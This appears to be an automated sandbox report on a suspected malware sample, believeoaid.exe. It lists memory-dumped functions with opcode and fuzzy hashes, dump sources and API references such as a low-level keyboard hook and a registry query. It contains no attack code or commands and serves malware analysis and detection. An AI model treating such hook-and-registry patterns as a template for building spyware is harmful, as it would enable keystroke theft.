Opcode Fuzzy Hash: 1f6b5974cbf0e00abb6311f4750f4c0fd5ea770fb544ad469a9112c8f724ae9d
Instruction Fuzzy Hash: 39E2167140E3C29FCB574F789DB15D17FB0AE6321831E04DBD4C18E1A3E229695ADB62

Uniqueness

Uniqueness Score: -1.00%

Function 001F638B, Relevance: .2, Instructions: 203COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2139073074.00000000001F0000.00000040.00000001.sdmp, Offset: 001F0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ef2e487fddcdd209c464a6443db789223a3bbd435931018273153e4b7b512b99
Instruction ID: 83164a4094ae553b245c82696c1c9870106164cbb5c3ec944588bf50d56a67c6
Opcode Fuzzy Hash: ef2e487fddcdd209c464a6443db789223a3bbd435931018273153e4b7b512b99
Instruction Fuzzy Hash: F1B18BB0E1452C8BDB64DFA9C9817CDBBF1EB48304F1085E9D25CE6205EB309A99CF58

Uniqueness

Uniqueness Score: -1.00%

Function 001F37F0, Relevance: .1, Instructions: 149COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2139073074.00000000001F0000.00000040.00000001.sdmp, Offset: 001F0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 133710de0566cf26f872a141ce93e3b2a1f413dd74e4110f0e52e325a81ca3d2
Instruction ID: 732a69126b20ad118ab5f4ccb7c5b558cb0d6b25d415734a960bb2f7acea46e8
Opcode Fuzzy Hash: 133710de0566cf26f872a141ce93e3b2a1f413dd74e4110f0e52e325a81ca3d2
Instruction Fuzzy Hash: 76518C74901249CFD744EFBAE881A9EBBF7EF89308F46C939D1049B224EB745945CB81

Uniqueness

Uniqueness Score: -1.00%

Function 001F3800, Relevance: .1, Instructions: 144COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2139073074.00000000001F0000.00000040.00000001.sdmp, Offset: 001F0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 920a72737244a11d396007439a4a0fc91f4c2774050cbf718de6fea03f053672
Instruction ID: 45cca18edaec58f817db0a82a90672b118629e74a3db4de51e38165e8f0ff79a
Opcode Fuzzy Hash: 920a72737244a11d396007439a4a0fc91f4c2774050cbf718de6fea03f053672
Instruction Fuzzy Hash: 5A517C74901249CFD744EFBAE881A9DBBF7EF89308F42C939D1049B228EB745945CB91

Uniqueness

Uniqueness Score: -1.00%

Function 001F3A40, Relevance: .1, Instructions: 100COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2139073074.00000000001F0000.00000040.00000001.sdmp, Offset: 001F0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bf77637a96314646b3b0121cb9aec43a0428d6c9acf42d07935b3aca62a00f83
Instruction ID: 14c78f2181c96158e1d7454b51146a9437170bafc1d335b86658ba9ad927defc
Opcode Fuzzy Hash: bf77637a96314646b3b0121cb9aec43a0428d6c9acf42d07935b3aca62a00f83
Instruction Fuzzy Hash: FC4135B1E056589BEB1CCF6B8D4079EFAF3AFC9200F18C1BA951CAA265DB700585CF15

Uniqueness

Uniqueness Score: -1.00%

Function 001F3A50, Relevance: .1, Instructions: 97COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2139073074.00000000001F0000.00000040.00000001.sdmp, Offset: 001F0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d1bcd60eadeb84d9805751db985a7243169e21a06b463694aae8e74a43690a97
Instruction ID: f6019152d810384c1974392e144530392e6834129484b1dfe72c2ad5ea6fe108
Opcode Fuzzy Hash: d1bcd60eadeb84d9805751db985a7243169e21a06b463694aae8e74a43690a97
Instruction Fuzzy Hash: 344113B1E056588BEB1CCF6B8D4079EFAF7AFC9300F14C1BA851DAA265DB7005868F15

Uniqueness

Uniqueness Score: -1.00%

Function 001FC430, Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2139073074.00000000001F0000.00000040.00000001.sdmp, Offset: 001F0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 15a26469c3260d59161b8b3e149a926d69e87413affbd7900398c6dc4dd3c356
Instruction ID: 8f9558a332b37f9f1548ec2b1c09a60bca48e7f68a87144f3fddceab16fc572f
Opcode Fuzzy Hash: 15a26469c3260d59161b8b3e149a926d69e87413affbd7900398c6dc4dd3c356
Instruction Fuzzy Hash: 35212D70D0521D8BEB28CF668D047EEFAF3AF85300F04C1EAC4186A655DB700A85DF40

Uniqueness

Uniqueness Score: -1.00%

Function 001FC440, Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2139073074.00000000001F0000.00000040.00000001.sdmp, Offset: 001F0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5f5cd28a4753f41a30df09ba095fbcd20eaa4c26e1856ad32207cbd1cde78a00
Instruction ID: 32709e40e9124247121c352db6839571d3fb151838fa0d43ffd1ce0cc96a137e
Opcode Fuzzy Hash: 5f5cd28a4753f41a30df09ba095fbcd20eaa4c26e1856ad32207cbd1cde78a00
Instruction Fuzzy Hash: 7E21C9B1D4062D8BEB28CF56C9047AAFAF3AF89304F10C0FAC51C66655E7740A859F51

Uniqueness

Uniqueness Score: -1.00%

Function 001FD1B0, Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2139073074.00000000001F0000.00000040.00000001.sdmp, Offset: 001F0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 87f90559aa831ae3678b139ddda058fb9fee3536a6c4fb7623faa2b11931860b
Instruction ID: 95f3514c07766de763456a7660096cf454933460c73413def12b47e657d3af54
Opcode Fuzzy Hash: 87f90559aa831ae3678b139ddda058fb9fee3536a6c4fb7623faa2b11931860b
Instruction Fuzzy Hash: 34113C30D042588FDB14DFA5D858BFEBAF2AB4E301F149469D555B3290C7788944DFA8

Uniqueness

Uniqueness Score: -1.00%

Function 001FD1AE, Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2139073074.00000000001F0000.00000040.00000001.sdmp, Offset: 001F0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 25cd83a8b1d0c1668840048fa04bba2c001f7c96326d2f285f13977b67f126b2
Instruction ID: dbc2fbb4c51882a96ed7262281ec152ebd8eabf2437426c140fb85dd6bdc2add
Opcode Fuzzy Hash: 25cd83a8b1d0c1668840048fa04bba2c001f7c96326d2f285f13977b67f126b2
Instruction Fuzzy Hash: D6116D30D0425C8FDB049FA5D858BFEBBF2AB4E301F149469E551B3290C7788948DFA8

Uniqueness

Uniqueness Score: -1.00%

Function 001FD19F, Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2139073074.00000000001F0000.00000040.00000001.sdmp, Offset: 001F0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d8364288f0e8a5ef50ae3bce1e3131645b50ebbe7c3a8d8ac06e20aa96040ec2
Instruction ID: 5fdf6692c623c3951aa8624a9f189657fc34c73f08bab8347467d4e12fbbf796
Opcode Fuzzy Hash: d8364288f0e8a5ef50ae3bce1e3131645b50ebbe7c3a8d8ac06e20aa96040ec2
Instruction Fuzzy Hash: 75018C30C0521C8FDB058FA4E454BFDBBF2AB0A301F249069D151B3290C7788A48DF68

Uniqueness

Uniqueness Score: -1.00%

Function 00DD6F5D, Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2139535171.0000000000DD2000.00000020.00020000.sdmp, Offset: 00DD0000, based on PE: true

Associated: 00000004.00000002.2139531273.0000000000DD0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2139617658.0000000000E98000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c5bf5b29a89903adac641d49cc12628268eb000587602f742c12eea7a003c2ce
Instruction ID: fbb73f237948d81979615dd7ac28412090838652c1258402136d860ed538bf1d
Opcode Fuzzy Hash: c5bf5b29a89903adac641d49cc12628268eb000587602f742c12eea7a003c2ce
Instruction Fuzzy Hash: DAD0C92108FAC2AFDB434B70AB315E17FB97E5321030C08C2D4C18E2A3E066068ACB62

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: believeoaid.exe PID: 2460 Parent PID: 2748 believeoaid.exeCOMMON

Executed Functions

Function 00733CEC, Relevance: 1.6, APIs: 1, Instructions: 60COMMON

Download Yara Rule

APIs

SetWindowsHookExW.USER32(0000000D,00000000,?,?), ref: 0073FC53

Memory Dump Source

Source File: 00000007.00000002.2397009061.0000000000730000.00000040.00000001.sdmp, Offset: 00730000, based on PE: false

Similarity

API ID: HookWindows
String ID:
API String ID: 2559412058-0
Opcode ID: f0974b6993ae009e50effa58552b866dd9555d10e58cec385fe2c4c7bb259864
Instruction ID: abbc089b880ef21ec0940dc574b042d33b61a25fb8b3aa7bbc0ee84c47687f05
Opcode Fuzzy Hash: f0974b6993ae009e50effa58552b866dd9555d10e58cec385fe2c4c7bb259864
Instruction Fuzzy Hash: 6C211AB1D042099FDB14CF9AD844BEEFBF5EF88314F14842AE419A7250C774A941CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 002E94A6, Relevance: 3.7, APIs: 2, Instructions: 670COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 002E98C7
KiUserExceptionDispatcher.NTDLL ref: 002EA2B0

Memory Dump Source

Source File: 00000007.00000002.2396797355.00000000002E0000.00000040.00000001.sdmp, Offset: 002E0000, based on PE: false

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 3d0d0caafafd0244ce4efef5d4f593af090efc2ef04de44e56d73ee795ca0f03
Instruction ID: 819b7ae418d11d058e075f373a356cb253daafc71576893204c4e565edb7cabc
Opcode Fuzzy Hash: 3d0d0caafafd0244ce4efef5d4f593af090efc2ef04de44e56d73ee795ca0f03
Instruction Fuzzy Hash: 48624474A14228CFCB64DF20C9487A9B7BABF88305F6084EAD50EA7250DB719ED1CF05

Uniqueness

Uniqueness Score: -1.00%

Function 002E94C7, Relevance: 3.6, APIs: 2, Instructions: 588COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 002E98C7
KiUserExceptionDispatcher.NTDLL ref: 002EA2B0

Memory Dump Source

Source File: 00000007.00000002.2396797355.00000000002E0000.00000040.00000001.sdmp, Offset: 002E0000, based on PE: false

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: d906586f7a997a6c2a6588aef4be29566e1ed9cc3b171e07587d2bf78ae08b3b
Instruction ID: 662177081ae6ecb427791fd518ecb960dfa5e8a8f646e5c076d9d40891491447
Opcode Fuzzy Hash: d906586f7a997a6c2a6588aef4be29566e1ed9cc3b171e07587d2bf78ae08b3b
Instruction Fuzzy Hash: 3A521274A14228CFCB65DF34C9487A9B7BABF88305F6084EAD50EA7250DB719E81CF45

Uniqueness

Uniqueness Score: -1.00%

Function 002EBE00, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 88registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.KERNEL32(00000000,00000000,?,?,00000000,?), ref: 002EEE69

Strings

,CO, xrefs: 002EBE00

Memory Dump Source

Source File: 00000007.00000002.2396797355.00000000002E0000.00000040.00000001.sdmp, Offset: 002E0000, based on PE: false

Similarity

API ID: QueryValue
String ID: ,CO
API String ID: 3660427363-4079035985
Opcode ID: 637649bac0766b28d40c737d52a0c76c7136021955fc3d7d447dfc6841c0dbcb
Instruction ID: 7ab2b06f693223eb9a77618daaae104379f548e2d384dc9efabfea8af5228bc8
Opcode Fuzzy Hash: 637649bac0766b28d40c737d52a0c76c7136021955fc3d7d447dfc6841c0dbcb
Instruction Fuzzy Hash: 0331E0B1D102599FCB20CF9AD884ADEFBF5AF48710F69842AE818AB310D7709905CF90

Uniqueness

Uniqueness Score: -1.00%

Function 002E950C, Relevance: 3.6, APIs: 2, Instructions: 581COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 002E98C7
KiUserExceptionDispatcher.NTDLL ref: 002EA2B0

Memory Dump Source

Source File: 00000007.00000002.2396797355.00000000002E0000.00000040.00000001.sdmp, Offset: 002E0000, based on PE: false

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 261b23297272ca45d6e2099f43e2d7837cacd07e5bf913b437f0d619460a0c99
Instruction ID: 1b11e4d05d633ad4257ca3fd9aad6b5227352992f3562dfda40af9b734b7e351
Opcode Fuzzy Hash: 261b23297272ca45d6e2099f43e2d7837cacd07e5bf913b437f0d619460a0c99
Instruction Fuzzy Hash: DC421274A14228CFCB65DF34C9487A9B7BABF88305F6084EAD50EA7250DB719E81CF45

Uniqueness

Uniqueness Score: -1.00%

Function 002E9567, Relevance: 3.6, APIs: 2, Instructions: 570COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 002E98C7
KiUserExceptionDispatcher.NTDLL ref: 002EA2B0

Memory Dump Source

Source File: 00000007.00000002.2396797355.00000000002E0000.00000040.00000001.sdmp, Offset: 002E0000, based on PE: false

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: d08e304b4b06d4e77fe4a95bfa54d8c1eb2a07dfe1d4aa49157113e555619ae7
Instruction ID: b6af30abaa639dcb506525dfac01cf3896ea74c40bba9e768c9ab48fd9ee2b9c
Opcode Fuzzy Hash: d08e304b4b06d4e77fe4a95bfa54d8c1eb2a07dfe1d4aa49157113e555619ae7
Instruction Fuzzy Hash: 69421274A14228CFCB64DF34C9487A9B7BABF88305F6084EAD50EA7251DB719E81CF45

Uniqueness

Uniqueness Score: -1.00%

Function 002E95AC, Relevance: 3.6, APIs: 2, Instructions: 563COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 002E98C7
KiUserExceptionDispatcher.NTDLL ref: 002EA2B0

Memory Dump Source

Source File: 00000007.00000002.2396797355.00000000002E0000.00000040.00000001.sdmp, Offset: 002E0000, based on PE: false

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 04366c41fb35445e5431e1923473ce4a02787a41ff816d754b0db5f2fe979125
Instruction ID: 2472de2796af365754d90a2716141028a30ef001d7b4e7c9697ff2e74be8f788
Opcode Fuzzy Hash: 04366c41fb35445e5431e1923473ce4a02787a41ff816d754b0db5f2fe979125
Instruction Fuzzy Hash: 26421274A14228CFCB64DF34C9487ADB7BAAF88305F6084EAD50EA7251DB719E81CF45

Uniqueness

Uniqueness Score: -1.00%

Function 002E95F1, Relevance: 3.6, APIs: 2, Instructions: 556COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 002E98C7
KiUserExceptionDispatcher.NTDLL ref: 002EA2B0

Memory Dump Source

Source File: 00000007.00000002.2396797355.00000000002E0000.00000040.00000001.sdmp, Offset: 002E0000, based on PE: false

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 24484f1cadd14830b48846596658865cdca422bbbced62f2ef3588657668e02d
Instruction ID: 82e0f6b8603aef6a9b7b80c584c292be6e1c05e42d590dac2929627cbfb96ca3
Opcode Fuzzy Hash: 24484f1cadd14830b48846596658865cdca422bbbced62f2ef3588657668e02d
Instruction Fuzzy Hash: 23421274A14228CFCB64DF34C9487ADB7BAAF88305F6084EAD50EA7251DB719E81CF45

Uniqueness

Uniqueness Score: -1.00%

Function 002E9636, Relevance: 3.5, APIs: 2, Instructions: 549COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 002E98C7
KiUserExceptionDispatcher.NTDLL ref: 002EA2B0

Memory Dump Source

Source File: 00000007.00000002.2396797355.00000000002E0000.00000040.00000001.sdmp, Offset: 002E0000, based on PE: false

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: b6aa9c38e94e48fc0dd9e35368d042cd05ad71dc1847c5b55c5b1abf442ad256
Instruction ID: f6fe3cd993d0ba4b2f7ce328d81e1f1c89a62ccfba3b0066f9fb0af3a9249348
Opcode Fuzzy Hash: b6aa9c38e94e48fc0dd9e35368d042cd05ad71dc1847c5b55c5b1abf442ad256
Instruction Fuzzy Hash: FA421374A14228CFCB64DF34C9487ADB7BAAF88305F6084EAD50EA7251DB719E81CF45

Uniqueness

Uniqueness Score: -1.00%

Function 002E967B, Relevance: 3.5, APIs: 2, Instructions: 542COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 002E98C7
KiUserExceptionDispatcher.NTDLL ref: 002EA2B0

Memory Dump Source

Source File: 00000007.00000002.2396797355.00000000002E0000.00000040.00000001.sdmp, Offset: 002E0000, based on PE: false

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 89445c5f323c380af39c8372ac29f333d9b938ed324f9cd1737fa172b2b9bf2d
Instruction ID: 096ce189e5d981466d96c00e3b875ae210e8edc6b71ea5e16cc3ccdf63c700cc
Opcode Fuzzy Hash: 89445c5f323c380af39c8372ac29f333d9b938ed324f9cd1737fa172b2b9bf2d
Instruction Fuzzy Hash: 62421274A14228CFCB64DF34C9487ADB7BAAF88305F6084EAD50EA7251DB719E81CF45

Uniqueness

Uniqueness Score: -1.00%

Function 002E96C0, Relevance: 3.5, APIs: 2, Instructions: 535COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 002E98C7
KiUserExceptionDispatcher.NTDLL ref: 002EA2B0

Memory Dump Source

Source File: 00000007.00000002.2396797355.00000000002E0000.00000040.00000001.sdmp, Offset: 002E0000, based on PE: false

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: d65e1b595d729c13ebbec4a8855e75931e4f7859ce64cfe557caa724305f4daf
Instruction ID: 959e7ea917b736e4b9cee6be623b519d79f73ed375711f65fe5c447da13fc1c0
Opcode Fuzzy Hash: d65e1b595d729c13ebbec4a8855e75931e4f7859ce64cfe557caa724305f4daf
Instruction Fuzzy Hash: A9322474A14228CFCB64DF34C9487ADB7BAAF88305F6084EAD50EA7251DB719E81CF45

Uniqueness

Uniqueness Score: -1.00%

Function 002E9705, Relevance: 3.5, APIs: 2, Instructions: 528COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 002E98C7
KiUserExceptionDispatcher.NTDLL ref: 002EA2B0

Memory Dump Source

Source File: 00000007.00000002.2396797355.00000000002E0000.00000040.00000001.sdmp, Offset: 002E0000, based on PE: false

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 2ece6b5237b36f6d130f02a6ada64a79bc36d104257e78913cf8e237b60e82d8
Instruction ID: 5ef992d460fea39a20e4332618d641238637496be94e9204eb722a54af13c10b
Opcode Fuzzy Hash: 2ece6b5237b36f6d130f02a6ada64a79bc36d104257e78913cf8e237b60e82d8
Instruction Fuzzy Hash: 5B322474A14228CFCB64DF34C9487ADB7BAAF88305F6084EAD50EA7251DB719E81CF45

Uniqueness

Uniqueness Score: -1.00%

Function 002E974A, Relevance: 3.5, APIs: 2, Instructions: 521COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 002E98C7
KiUserExceptionDispatcher.NTDLL ref: 002EA2B0

Memory Dump Source

Source File: 00000007.00000002.2396797355.00000000002E0000.00000040.00000001.sdmp, Offset: 002E0000, based on PE: false

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: e19749a4b0b8ea858391bcc83ce31f1768efb40dac5462c9461ae14ce1b30c0d
Instruction ID: 180cc9d30da0244826f956e909db1b6fc1be7e55bb244fccbb0c47d2197c141b
Opcode Fuzzy Hash: e19749a4b0b8ea858391bcc83ce31f1768efb40dac5462c9461ae14ce1b30c0d
Instruction Fuzzy Hash: A2322574A14228CFCB64EF34C9487ADB7BAAF88305F6084E9D50EA7251DB719E81CF45

Uniqueness

Uniqueness Score: -1.00%

Function 002E978F, Relevance: 3.5, APIs: 2, Instructions: 514COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 002E98C7
KiUserExceptionDispatcher.NTDLL ref: 002EA2B0

Memory Dump Source

Source File: 00000007.00000002.2396797355.00000000002E0000.00000040.00000001.sdmp, Offset: 002E0000, based on PE: false

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: ea6f48433573122bc698579047585e5a74429837f3210e90f3ef953ccfc66ecf
Instruction ID: 6412b20d3f167c4e96ba59ca722b0a8698629b9db6a7b404b878dbdbd61b4ae3
Opcode Fuzzy Hash: ea6f48433573122bc698579047585e5a74429837f3210e90f3ef953ccfc66ecf
Instruction Fuzzy Hash: 63322574A14228CFCB64DF34C9487ADB7BAAF88305F6084E9D50EA7251DB719E81CF45

Uniqueness

Uniqueness Score: -1.00%

Function 002E97D4, Relevance: 3.5, APIs: 2, Instructions: 507COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 002E98C7
KiUserExceptionDispatcher.NTDLL ref: 002EA2B0

Memory Dump Source

Source File: 00000007.00000002.2396797355.00000000002E0000.00000040.00000001.sdmp, Offset: 002E0000, based on PE: false

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: aeb9cf3ade98684074f6dfd820c46d9638cec1efa1c1f0870843e0c4f2932259
Instruction ID: 2a2fd9c2e0413bb1e2939da60a0ccb70cf02904c8278df2fa2c91f661a5ce3b1
Opcode Fuzzy Hash: aeb9cf3ade98684074f6dfd820c46d9638cec1efa1c1f0870843e0c4f2932259
Instruction Fuzzy Hash: 85322474A14228CFCB64EF34C9487ADB7BAAF88305F6084E9D50EA7251DB719E81CF45

Uniqueness

Uniqueness Score: -1.00%

Function 002E9819, Relevance: 3.5, APIs: 2, Instructions: 500COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 002E98C7
KiUserExceptionDispatcher.NTDLL ref: 002EA2B0

Memory Dump Source

Source File: 00000007.00000002.2396797355.00000000002E0000.00000040.00000001.sdmp, Offset: 002E0000, based on PE: false

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: adbaef969b217ccc0ecabfd6c7f8c5c4270652353b6614852e27f6a3f2e5153d
Instruction ID: 7ef14d1332b5c6ad00ffa8a6ec46580cd890df3f50b5f80c5a604654ea73afa9
Opcode Fuzzy Hash: adbaef969b217ccc0ecabfd6c7f8c5c4270652353b6614852e27f6a3f2e5153d
Instruction Fuzzy Hash: 33322474A14228CFCB64EF34C9487ADB7BAAF88305F6084E9D50EA7251DB719E81CF45

Uniqueness

Uniqueness Score: -1.00%

Function 002E985E, Relevance: 3.5, APIs: 2, Instructions: 493COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 002E98C7
KiUserExceptionDispatcher.NTDLL ref: 002EA2B0

Memory Dump Source

Source File: 00000007.00000002.2396797355.00000000002E0000.00000040.00000001.sdmp, Offset: 002E0000, based on PE: false

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 6c1fcb19f82e9565c56d10d27e551d2f4af060733cb1125a40aa593ae5a8f6cb
Instruction ID: fb4c4a5361948749cb6d599d59b82f97419dd6520a4610dd5c956241f037c325
Opcode Fuzzy Hash: 6c1fcb19f82e9565c56d10d27e551d2f4af060733cb1125a40aa593ae5a8f6cb
Instruction Fuzzy Hash: 30223474A14228CFCB64EF34C9487ADB7BAAF88305F6084E9D50EA7251DB719E81CF45

Uniqueness

Uniqueness Score: -1.00%

Function 002E98A3, Relevance: 3.5, APIs: 2, Instructions: 486COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 002E98C7
KiUserExceptionDispatcher.NTDLL ref: 002EA2B0

Memory Dump Source

Source File: 00000007.00000002.2396797355.00000000002E0000.00000040.00000001.sdmp, Offset: 002E0000, based on PE: false

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 5234fa764dd364e1ea14ea2ea327f8ea800dd6244d8b26bba459b37a6de86bc1
Instruction ID: 77b25cd02a04a6ebc4517738b642a0c068258353afcefe127a8bf553be0e4956
Opcode Fuzzy Hash: 5234fa764dd364e1ea14ea2ea327f8ea800dd6244d8b26bba459b37a6de86bc1
Instruction Fuzzy Hash: 12223374A14228CFCB64EF34C9487ADB7BAAF88301F6084E9D50EA7251DB709E81CF45

Uniqueness

Uniqueness Score: -1.00%

Function 002E98E8, Relevance: 2.0, APIs: 1, Instructions: 479COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 002EA2B0

Memory Dump Source

Source File: 00000007.00000002.2396797355.00000000002E0000.00000040.00000001.sdmp, Offset: 002E0000, based on PE: false

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 8a24f4c5b861d6eaa193a37cb50bf01937e86650cccd4abf14b85a57774a4366
Instruction ID: 3e752abfb98bbbd7ec88c085524c91f4ba4bc7347e15e70baefc0874525fa466
Opcode Fuzzy Hash: 8a24f4c5b861d6eaa193a37cb50bf01937e86650cccd4abf14b85a57774a4366
Instruction Fuzzy Hash: 31223374A142288FCB64EF34C9487ADB7BAAF88305F6084E9D50EA7251DB749E81CF45

Uniqueness

Uniqueness Score: -1.00%

Function 002E992D, Relevance: 2.0, APIs: 1, Instructions: 472COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 002EA2B0

Memory Dump Source

Source File: 00000007.00000002.2396797355.00000000002E0000.00000040.00000001.sdmp, Offset: 002E0000, based on PE: false

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: ff1f062ba72e3c7d45693bb7cd21d2a45e3a3bbe1c961e3b7dea8f5fcd48aecf
Instruction ID: 5d6158fac13a1fb9a692e195b0dcceddb4a961fe9d4b853a45d4ebd58615fec5
Opcode Fuzzy Hash: ff1f062ba72e3c7d45693bb7cd21d2a45e3a3bbe1c961e3b7dea8f5fcd48aecf
Instruction Fuzzy Hash: 3E223374A142288FCB64EF34C9487ADB7BAAF88301F6084E9D50EE7251DB749E81CF45

Uniqueness

Uniqueness Score: -1.00%

Function 002E9972, Relevance: 2.0, APIs: 1, Instructions: 465COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 002EA2B0

Memory Dump Source

Source File: 00000007.00000002.2396797355.00000000002E0000.00000040.00000001.sdmp, Offset: 002E0000, based on PE: false

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 2b8abd182d6e71ad0cd86cdd261b8f3b22738b718f128115464a93cc8e492f39
Instruction ID: d6a09abb630a6d84cb1941993af00b7a3816108a279f8cdaae68801533cafd7f
Opcode Fuzzy Hash: 2b8abd182d6e71ad0cd86cdd261b8f3b22738b718f128115464a93cc8e492f39
Instruction Fuzzy Hash: 52223374A142288FCB64EF34C9487ADB7BAAF88305F6084E9D50EE7251DB749E81CF45

Uniqueness

Uniqueness Score: -1.00%

Function 002E99B7, Relevance: 2.0, APIs: 1, Instructions: 458COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 002EA2B0

Memory Dump Source

Source File: 00000007.00000002.2396797355.00000000002E0000.00000040.00000001.sdmp, Offset: 002E0000, based on PE: false

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 1db61803fb2e7acc4e259f88b4ced07da5dff71f15d00b5faa69667cc5026a38
Instruction ID: 8755f749b8eca8bc2b7da0fe77351176a77fc120efd0cc3518baf1fa28963c68
Opcode Fuzzy Hash: 1db61803fb2e7acc4e259f88b4ced07da5dff71f15d00b5faa69667cc5026a38
Instruction Fuzzy Hash: 32223274A142288FCB64EF34C9487ADB7BAAF88305F6084E9D50EE7251DB749E81CF45

Uniqueness

Uniqueness Score: -1.00%

Function 002E99FC, Relevance: 2.0, APIs: 1, Instructions: 451COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 002EA2B0

Memory Dump Source

Source File: 00000007.00000002.2396797355.00000000002E0000.00000040.00000001.sdmp, Offset: 002E0000, based on PE: false

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 69798d62f8eec0edb7e07783a0fc6dd06031e807468a18269b42ab1ed062be79
Instruction ID: 49121cd307fbabac7f28db7a835023d6c545b79bdddf548e2e4f26d24b620cbe
Opcode Fuzzy Hash: 69798d62f8eec0edb7e07783a0fc6dd06031e807468a18269b42ab1ed062be79
Instruction Fuzzy Hash: 77123374A142288FCB64EF35C9487ADB7BAAF88301F6084E9D50EE7251DB749E81CF45

Uniqueness

Uniqueness Score: -1.00%

Function 002E9A41, Relevance: 1.9, APIs: 1, Instructions: 444COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 002EA2B0

Memory Dump Source

Source File: 00000007.00000002.2396797355.00000000002E0000.00000040.00000001.sdmp, Offset: 002E0000, based on PE: false

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 894403204ad9cf64fc538113dc8bfe73145bccddd36ad28395fe9574ee42531a
Instruction ID: 9bbf72a85a34340415aff9fc9b409470e45db0a61d758e062d88929ea2e9e984
Opcode Fuzzy Hash: 894403204ad9cf64fc538113dc8bfe73145bccddd36ad28395fe9574ee42531a
Instruction Fuzzy Hash: C2124374A142288FCB64EF35C9487ADB7BAAF88301F6084E9D50EE7251DB749E81CF45

